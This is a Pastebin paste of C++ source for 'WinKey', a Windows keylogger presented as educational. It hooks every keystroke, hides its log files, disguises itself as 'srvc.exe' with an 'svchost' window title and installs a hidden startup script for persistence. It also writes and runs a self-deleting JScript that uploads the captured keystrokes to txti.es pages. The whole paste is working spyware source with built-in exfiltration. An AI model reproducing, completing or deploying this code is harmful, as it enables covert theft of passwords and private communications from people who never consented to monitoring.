Advertisement
Guest User

Untitled

a guest
Nov 27th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 18.15 KB | None | 0 0
  1. /*
  2.  * WinKey -- A GPL Windows keylogging program. While this program can potentially
  3.  * be used for nefarious purposes, it was written for educational and recreational
  4.  * purposes only and the author does not endorse illegal use.
  5.  *
  6.  * This program is free software: you can redistribute it and/or modify
  7.  * it under the terms of the GNU General Public License as published by
  8.  * the Free Software Foundation, either version 3 of the License, or
  9.  * (at your option) any later version.
  10.  *
  11.  * This program is distributed in the hope that it will be useful,
  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  * GNU General Public License for more details.
  15.  *
  16.  * You should have received a copy of the GNU General Public License
  17.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  18.  */
  19. #define UNICODE
  20. #define _UNICODE
  21.  
  22. #include <fstream>
  23. #include <iostream>
  24. #include <string>
  25. #include <sstream>
  26. #include <algorithm>
  27. #include <windows.h>
  28. #include <shlobj.h>
  29. #include <io.h>
  30. #include <string.h>
  31. #include <stdint.h>
  32. #include <tchar.h>
  33. #include <fcntl.h>
  34.  
  35.  
  36. // configuration
  37. #define OUTPUT_IN_MY_DOCUMENTS  true                /* If false, paths below should be full pahts ("C:\\Us...") */
  38. #define OUTFILE_NAME            "WinKey.log"        /* Output file */
  39. #define OUTFILE_NAME_TXTI       "WinKeySmall.log"   /* Output file which stores the keys that will go to txti.es next */
  40.  
  41. #define SERVER_UPDATE_FREQUENCY 15 * 60 * 1000      /* how frequently to update the server (in ms) */
  42. #define FIRST_UPDATE_TIME       30 * 1000           /* how long to wait for first server update from startup (in ms) */
  43.  
  44. #define FILE_WRITE_FREQUENCY    5 * 1000            /* how frequencly to update the output files (in ms) */
  45.  
  46.  
  47. #define EXE_NAME                "srvc.exe"
  48.  
  49.  
  50. #define CLASSNAME               "wink"
  51. #define WINDOWTITLE             "svchost"
  52.  
  53.  
  54.  
  55. #define IDT_TIMER_FIRST 1001 /* id of the first timer (respecting FIRST_UPDATE_TIME) */
  56. #define IDT_TIMER_PERIODIC 1002 /* id of the timer working all the time (respecting SERVER_UPDATE_FREQUENCY) */
  57. #define IDT_TIMER_SAVER 1003 /* id of the timer which saves the output to files (respecting FILE_WRITE_FREQUENCY) */
  58.  
  59. volatile int _positive_sp_check = 0;
  60. #define GUARD \
  61.     if(_positive_sp_check != 0) \
  62.         __asm__(".intel_syntax noprefix;\n\t" \
  63.             "add sp, 8\n" \
  64.             ".att_syntax prefix");
  65.  
  66.  
  67. static HHOOK    kbdhook;    /* Keyboard hook handle */
  68. static bool running;    /* Used in main loop */
  69.  
  70. static TCHAR outfile_path[2048] = { '\0' };
  71. static TCHAR outfile_path_txti[2048] = { '\0' };
  72.  
  73.  
  74. /* CRC-32C (iSCSI) polynomial in reversed bit order. */
  75. #define POLY_CRC32C 0x82f63b78
  76.  
  77. /* CRC-32 (Ethernet, ZIP, etc.) polynomial in reversed bit order. */
  78. #define POLY_CRC32 0xedb88320
  79.  
  80. template <int Poly>
  81. static uint32_t crc32c(uint32_t crc, const unsigned char *buf, size_t len) { GUARD
  82.     int k;
  83.  
  84.     crc = ~crc;
  85.     while (len--) {
  86.         crc ^= *buf++;
  87.         for (k = 0; k < 8; k++)
  88.             crc = crc & 1 ? (crc >> 1) ^ Poly : crc >> 1;
  89.     }
  90.     return ~crc;
  91. }
  92. #define TRANSLATION_IDENT  __DATE__ "!" __TIME__
  93.  
  94. static const uint32_t RAND_TXTI_URL = crc32c<POLY_CRC32C>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
  95. static const uint32_t RAND_TXTI_EDIT_CODE = crc32c<POLY_CRC32>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
  96.  
  97.  
  98. static std::string buffer;
  99.  
  100.  
  101. static inline bool isCapsLockDown() { GUARD
  102.     return GetKeyState(VK_CAPITAL) & 0x1;
  103. }
  104.  
  105. /**
  106.  * \brief Called by Windows automagically every time a key is pressed (regardless
  107.  * of who has focus)
  108.  */
  109.  
  110. __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp) { GUARD
  111.  
  112.     if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  113.         static bool capslock = isCapsLockDown();
  114.         static bool shift = false;
  115.         char tmp[0xFF] = {0};
  116.         std::string str;
  117.         DWORD msg = 1;
  118.         KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  119.         bool printable;
  120.  
  121.         /*
  122.          * Get key name as string
  123.          */
  124.         msg += (st_hook.scanCode << 16);
  125.         msg += (st_hook.flags << 24);
  126.         GetKeyNameTextA(msg, tmp, 0xFF);
  127.         str = std::string(tmp);
  128.  
  129.         printable = (str.length() <= 1) ? true : false;
  130.  
  131.         /*
  132.          * Non-printable characters only:
  133.          * Some of these (namely; newline, space and tab) will be
  134.          * made into printable characters.
  135.          * Others are encapsulated in brackets ('[' and ']').
  136.          */
  137.         if (!printable) {
  138.             /*
  139.              * Keynames that change state are handled here.
  140.              */
  141.             if (str == "CAPSLOCK")
  142.                 capslock = !capslock;
  143.             else if (str == "SHIFT")
  144.                 shift = true;
  145.  
  146.             /*
  147.              * Keynames that may become printable characters are
  148.              * handled here.
  149.              */
  150.             if (str == "ENTER") {
  151.                 str = "\n";
  152.                 printable = true;
  153.             } else if (str == "SPACE") {
  154.                 str = " ";
  155.                 printable = true;
  156.             } else if (str == "TAB") {
  157.                 str = "\t";
  158.                 printable = true;
  159.             } else {
  160.                 str = ("[" + str + "]");
  161.             }
  162.         }
  163.  
  164.         /*
  165.          * Printable characters only:
  166.          * If shift is on and capslock is off or shift is off and
  167.          * capslock is on, make the character uppercase.
  168.          * If both are off or both are on, the character is lowercase
  169.          */
  170.         if (printable) {
  171.             if (shift == capslock) { /* Lowercase */
  172.                 for (size_t i = 0; i < str.length(); ++i)
  173.                     str[i] = tolower(str[i]);
  174.             } else { /* Uppercase */
  175.                 for (size_t i = 0; i < str.length(); ++i) {
  176.                     if (str[i] >= 'A' && str[i] <= 'Z') {
  177.                         str[i] = toupper(str[i]);
  178.                     }
  179.                 }
  180.             }
  181.  
  182.             shift = false;
  183.         }
  184.  
  185. #ifdef DEBUG
  186.         std::wcout << str;
  187. #endif
  188.         buffer.append(str);
  189.     }
  190.  
  191.     return CallNextHookEx(kbdhook, code, wp, lp);
  192. }
  193.  
  194. static void hide_file(LPCTSTR filename) { GUARD
  195.     DWORD dwAttrs = GetFileAttributes(filename);
  196.  
  197.     if (dwAttrs == INVALID_FILE_ATTRIBUTES)
  198.         return;
  199.  
  200.     SetFileAttributes(filename, dwAttrs | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  201. }
  202.  
  203. static void savetofile(const TCHAR *path) { GUARD
  204.     HANDLE file = CreateFile(path,
  205.                              FILE_APPEND_DATA,
  206.                              FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
  207.                              NULL,
  208.                              OPEN_ALWAYS,
  209.                              FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
  210.                              NULL);
  211.  
  212.     if(file == INVALID_HANDLE_VALUE)
  213.         return;
  214.  
  215.     if(SetFilePointer(file, 0L, NULL, FILE_END) == INVALID_SET_FILE_POINTER)
  216.         goto err;
  217.  
  218.     if(WriteFile(file, buffer.c_str(), buffer.size(), NULL, NULL) == FALSE)
  219.         goto err;
  220.  
  221. err:
  222.     CloseHandle(file);
  223. }
  224.  
  225. static void savedata() { GUARD
  226.     if(buffer.empty())
  227.         return;
  228.  
  229.     savetofile(outfile_path);
  230.     savetofile(outfile_path_txti);
  231.  
  232.     buffer.clear();
  233. }
  234.  
  235. static void try_sending(const bool empty) { GUARD
  236.     std::wstring outf = outfile_path;
  237.     outf += L".js";
  238.  
  239.     DeleteFile(outf.c_str());
  240.  
  241.  
  242.     std::stringstream ss;
  243.     ss << ';' << ";" // why
  244.         << "var name = '" << RAND_TXTI_URL << "';"
  245.         "var pass = '" << RAND_TXTI_EDIT_CODE << "';"
  246.         "var content_file = WScript.arguments.item(0);"
  247.         ""
  248.         "var fs = WScript.CreateObject('Scripting.FileSystemObject');"
  249.         "var get = WScript.CreateObject('msxml2.xmlhttp.6.0');"
  250.         "var post = WScript.CreateObject('msxml2.xmlhttp.6.0');"
  251.         ""
  252.         "function end(c) {"
  253.             "fs.GetFile(WScript.ScriptFullName).Delete(true);"
  254.             "WScript.Quit(c);"
  255.         "}"
  256.         ""
  257.         << (empty
  258.             ?
  259.                 "var content = '[log start]';"
  260.             :
  261.                 "try {"
  262.                     "var file = fs.OpenTextFile(content_file, 1);"
  263.                     "var content = '\\n\\n##' + new Date() + '\\n\\n' + file.ReadAll();"
  264.                     "file.Close();"
  265.                 "} catch (e) {"
  266.                     "end(1);"
  267.                 "}") <<
  268.         "get.open('GET', 'http://txti.es/' + name + '/edit', false);"
  269.         "get.send();"
  270.         "if(get.status >= 200 && get.status < 300) {"
  271.             "var page = get.responseText;"
  272.             "var page_id = page.split('name=\"page_id\" value=\"')[1].split('\"')[0];"
  273.             "var old_content = page.split('<textarea class=\"text-input\" id=\"content-input\" name=\"content\">')[1].split('</textarea>')[0];"
  274.             ""
  275.             "post.open('POST', 'http://txti.es/' + name + '/edit', false);"
  276.             "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
  277.             "post.send('content=' + escape(old_content) + escape(content) +"
  278.                 "'&custom_url=' + escape(name) +"
  279.                 "'&edit_code=' + escape(pass) +"
  280.                 "'&page_id=' + escape(page_id) +"
  281.                 "'&form_level=3&update=1');"
  282.         "} else if(get.status == 404) {"
  283.             "post.open('POST', 'http://txti.es', false);"
  284.             "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
  285.             "post.send('content=' + escape(content) +"
  286.                 "'&custom_url=' + escape(name) +"
  287.                 "'&custom_edit_code=' + escape(pass) +"
  288.                 "'&form_level=2&submit=1&username=');"
  289.         "} else {"
  290.             "end(2);"
  291.         "}"
  292.         ""
  293.         "if(post.status >= 200 && post.status < 300) {"
  294.             "try {"
  295.             << (empty ? "" : "fs.GetFile(content_file).Delete(true);") <<
  296.             "} catch(e) {}"
  297.         "}"
  298.         ""
  299.         "end(0);";
  300.  
  301.         HANDLE file = CreateFile(outf.c_str(),
  302.                              GENERIC_WRITE,
  303.                              FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
  304.                              NULL,
  305.                              OPEN_ALWAYS,
  306.                              FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
  307.                              NULL);
  308.  
  309.         if(file != INVALID_HANDLE_VALUE) {
  310.             std::string script(ss.str());
  311.             WriteFile(file, script.c_str(), script.size(), NULL, NULL);
  312.             CloseHandle(file);
  313.         }
  314.  
  315.         hide_file(outf.c_str());
  316.  
  317.         std::wstring logfile(L"\"");
  318.         logfile += outfile_path_txti;
  319.         logfile += L"\"";
  320.         std::replace(logfile.begin(), logfile.end(), '\\', '/');
  321.  
  322.         ShellExecute(NULL, L"open", outf.c_str(), logfile.c_str(), NULL, SW_SHOW);
  323. }
  324.  
  325. /**
  326.  * \brief Called by DispatchMessage() to handle messages
  327.  * \param hwnd  Window handle
  328.  * \param msg   Message to handle
  329.  * \param wp
  330.  * \param lp
  331.  * \return 0 on success
  332.  */
  333. LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { GUARD
  334.  
  335.     switch (msg) {
  336.         case WM_CLOSE:
  337.         case WM_DESTROY:
  338.             running = false;
  339.             break;
  340.         case WM_TIMER:
  341.             std::wcout << L"Got timer: " << wp << L"\n";
  342.             if(wp == IDT_TIMER_FIRST) {
  343.                 static bool already_fired = false;
  344.                 if(already_fired)
  345.                     break;
  346.                 already_fired = true;
  347.  
  348.                 try_sending(false);
  349.  
  350.                 SetTimer(hwnd, IDT_TIMER_PERIODIC, SERVER_UPDATE_FREQUENCY, (TIMERPROC) NULL);
  351.                 KillTimer(hwnd, IDT_TIMER_FIRST);
  352.                 break;
  353.             } else if(wp == IDT_TIMER_PERIODIC) {
  354.                 try_sending(false);
  355.                 break;
  356.             } else if(wp == IDT_TIMER_SAVER) {
  357.                 savedata();
  358.                 break;
  359.             }
  360.             /* [[fallthrough]] */
  361.         default:
  362.             /* Call default message handler */
  363.             return DefWindowProc(hwnd, msg, wp, lp);
  364.     }
  365.  
  366.     return 0;
  367. }
  368.  
  369.  
  370. static bool paths_equal(const TCHAR *path1, const TCHAR *path2) { GUARD
  371.     TCHAR path1short[MAX_PATH] = { '\0' };
  372.     TCHAR path2short[MAX_PATH] = { '\0' };
  373.  
  374.     GetShortPathName(path1, path1short, MAX_PATH);
  375.     GetShortPathName(path2, path2short, MAX_PATH);
  376.  
  377.     return _tcsncmp(path1short, path2short, MAX_PATH) == 0;
  378. }
  379.  
  380. static std::wstring get_path_to_myself() { GUARD
  381.     TCHAR fileName[2048] = { '\0' };
  382.     DWORD length = GetModuleFileName(NULL, fileName, 2047);
  383.  
  384.     if(length <= 0) // can't get the path
  385.         return L"";
  386.  
  387.     return std::wstring(fileName, length);
  388. }
  389.  
  390. static std::wstring get_path_to_special_folder(int special_folder_csidl) { GUARD
  391.     TCHAR path[MAX_PATH] = { '\0' };
  392.     SHGetFolderPath(NULL, special_folder_csidl, NULL, 0, path);
  393.     return std::wstring(path);
  394. }
  395.  
  396.  
  397. /**
  398.  * \return true if the program should end
  399.  */
  400. static bool setup_autostart(LPSTR cmdline) { GUARD
  401.     std::wstring startup_js = get_path_to_special_folder(CSIDL_STARTUP) + L"\\.js";
  402.     std::wstring my_documents = get_path_to_special_folder(CSIDL_PERSONAL);
  403.     std::wstring exe = my_documents + L"\\" TEXT(EXE_NAME);
  404.     std::wstring myself = get_path_to_myself();
  405.  
  406. #if OUTPUT_IN_MY_DOCUMENTS == true
  407.     _tcscat(outfile_path, my_documents.c_str());
  408.     _tcscat(outfile_path, L"\\");
  409.  
  410.     _tcscat(outfile_path_txti, my_documents.c_str());
  411.     _tcscat(outfile_path_txti, L"\\");
  412. #endif
  413.     _tcscat(outfile_path, TEXT(OUTFILE_NAME));
  414.     _tcscat(outfile_path_txti, TEXT(OUTFILE_NAME_TXTI));
  415.  
  416.     std::wcout << L"Setting up " << startup_js << '\n';
  417.     {
  418.         std::string script("var sh = WScript.createOBJect('Wscript.sHELL');\r\n"
  419.                 "sh.Run('\"' + sh.SpecialFolders('MyDocuments') + '\\\\" EXE_NAME "\" --a', +(!1));\r\n");
  420.  
  421.         DeleteFile(startup_js.c_str());
  422.         Sleep(200);
  423.         HANDLE file = CreateFile(startup_js.c_str(),
  424.                              GENERIC_WRITE,
  425.                              FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
  426.                              NULL,
  427.                              OPEN_ALWAYS,
  428.                              FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
  429.                              NULL);
  430.         if(WriteFile(file, script.c_str(), script.size(), NULL, NULL) != FALSE) {
  431.             std::wcout << L"ok\n";
  432.         } else {
  433.             std::wcout << L"error " << GetLastError() << '\n';
  434.         }
  435.         if(file != INVALID_HANDLE_VALUE)
  436.             CloseHandle(file);
  437.     }
  438.  
  439.     if(!paths_equal(myself.c_str(), exe.c_str())) {
  440.         std::wcout << L"\nCopying myself to " << exe << '\n';
  441.         DeleteFile(exe.c_str());
  442.         Sleep(200);
  443.         if(CopyFile(myself.c_str(), exe.c_str(), FALSE) != 0) {
  444.             std::wcout << L"ok\n";
  445.         } else {
  446.             std::wcout << L"error " << GetLastError() << '\n';
  447.         }
  448.     }
  449.  
  450.     hide_file(startup_js.c_str());
  451.     hide_file(exe.c_str());
  452.  
  453.     if(_taccess(startup_js.c_str(), 0) == 0
  454.        && _taccess(exe.c_str(), 0) == 0
  455.        && strstr(cmdline, "--a") != NULL) {
  456.         return false;
  457.     }
  458.  
  459.     ShellExecute(NULL, L"open", startup_js.c_str(), NULL, NULL, SW_SHOW);
  460.  
  461.     std::wcout << L"\n\ndone\n";
  462.     std::wcout << L"Output will be written to " << outfile_path << "\n\n";
  463.  
  464.     std::wcout << L"Setting up online output..\n";
  465.     try_sending(true);
  466.  
  467.     std::wcout << L"\n\nOnline output URL:\n";
  468.     std::wcout << L"http://txti.es/" << RAND_TXTI_URL << L"\n";
  469.  
  470.     std::wcout << L"\nOpening in browser..";
  471.     /* Wait a moment so that the webpage is actually created */
  472.     Sleep(2500);
  473.  
  474.     std::wstringstream url;
  475.     url << L"http://txti.es/" << RAND_TXTI_URL;
  476.     std::wstring urlstr = url.str();
  477.     ShellExecute(NULL, L"open", urlstr.c_str(), NULL, NULL, SW_SHOW);
  478.  
  479.     return true;
  480. }
  481.  
  482.  
  483. int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  484.         LPSTR cmdline, int ncmdshow)
  485. { GUARD
  486.     // enable console buffering
  487.     setvbuf(stdout, 0, _IOLBF, 4096);
  488.  
  489.     // Enable UTF-16 output
  490.     _setmode(_fileno(stdout), 0x20000); // _O_U16TEXT
  491.  
  492.     if(strstr(cmdline, "--secret") != NULL) {
  493.         std::wstring in_my_documents = (OUTPUT_IN_MY_DOCUMENTS ? L" located in My Documents" : L"");
  494.  
  495.         std::wcout << L"Full output is in " TEXT(OUTFILE_NAME) << in_my_documents << L"\n";
  496.         std::wcout << L"Output until next online update is in " TEXT(OUTFILE_NAME_TXTI) << in_my_documents << L"\n\n";
  497.         std::wcout << L"Online page with output is http://txti.es/" << RAND_TXTI_URL << L"\n";
  498.         std::wcout << L"Edit code is " << RAND_TXTI_EDIT_CODE << L"\n";
  499.         return 0;
  500.     }
  501.  
  502.     if(setup_autostart(cmdline))
  503.         return 0;
  504.  
  505.     buffer = "[program startup]";
  506.  
  507.     /*
  508.      * Set up window
  509.      */
  510.     HWND        hwnd;
  511.     HWND        fgwindow = GetForegroundWindow(); /* Current foreground window */
  512.     MSG     msg;
  513.     WNDCLASSEX  windowclass;
  514.     HINSTANCE   modulehandle;
  515.  
  516.     windowclass.hInstance = thisinstance;
  517.     windowclass.lpszClassName = TEXT(CLASSNAME);
  518.     windowclass.lpfnWndProc = windowprocedure;
  519.     windowclass.style = CS_DBLCLKS;
  520.     windowclass.cbSize = sizeof(WNDCLASSEX);
  521.     windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  522.     windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
  523.     windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
  524.     windowclass.lpszMenuName = NULL;
  525.     windowclass.cbClsExtra = 0;
  526.     windowclass.cbWndExtra = 0;
  527.     windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
  528.  
  529.     if (!(RegisterClassEx(&windowclass)))
  530.         return 1;
  531.  
  532.     hwnd = CreateWindowEx(0, TEXT(CLASSNAME), TEXT(WINDOWTITLE), WS_OVERLAPPEDWINDOW,
  533.             CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
  534.             thisinstance, NULL);
  535.     if (!(hwnd))
  536.         return 1;
  537.  
  538.     /*
  539.      *  Make the window visible
  540.      */
  541.     ShowWindow(hwnd, SW_SHOW);
  542.  
  543.     UpdateWindow(hwnd);
  544.     SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
  545.  
  546.     /*
  547.      * Hook keyboard input so we get it too
  548.      */
  549.     modulehandle = GetModuleHandle(NULL);
  550.     kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, 0);
  551.  
  552.  
  553.     SetTimer(hwnd, IDT_TIMER_FIRST, FIRST_UPDATE_TIME, (TIMERPROC) NULL);
  554.     SetTimer(hwnd, IDT_TIMER_SAVER, FILE_WRITE_FREQUENCY, (TIMERPROC) NULL);
  555.  
  556.     //try_sending(false);
  557.  
  558.     //GetWindowsDirectory((LPSTR)windir, MAX_PATH);
  559.  
  560.     running = true;
  561.  
  562.     /*
  563.      * Main loop
  564.      */
  565.     while (running) {
  566.         /*
  567.          * Get messages, dispatch to window procedure
  568.          */
  569.         if (!GetMessage(&msg, NULL, 0, 0))
  570.             running = false; /*
  571.                       * This is not a "return" or
  572.                       * "break" so the rest of the loop is
  573.                       * done. This way, we never miss keys
  574.                       * when destroyed but we still exit.
  575.                       */
  576.         TranslateMessage(&msg);
  577.         DispatchMessage(&msg);
  578.     }
  579.  
  580.     return 0;
  581. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement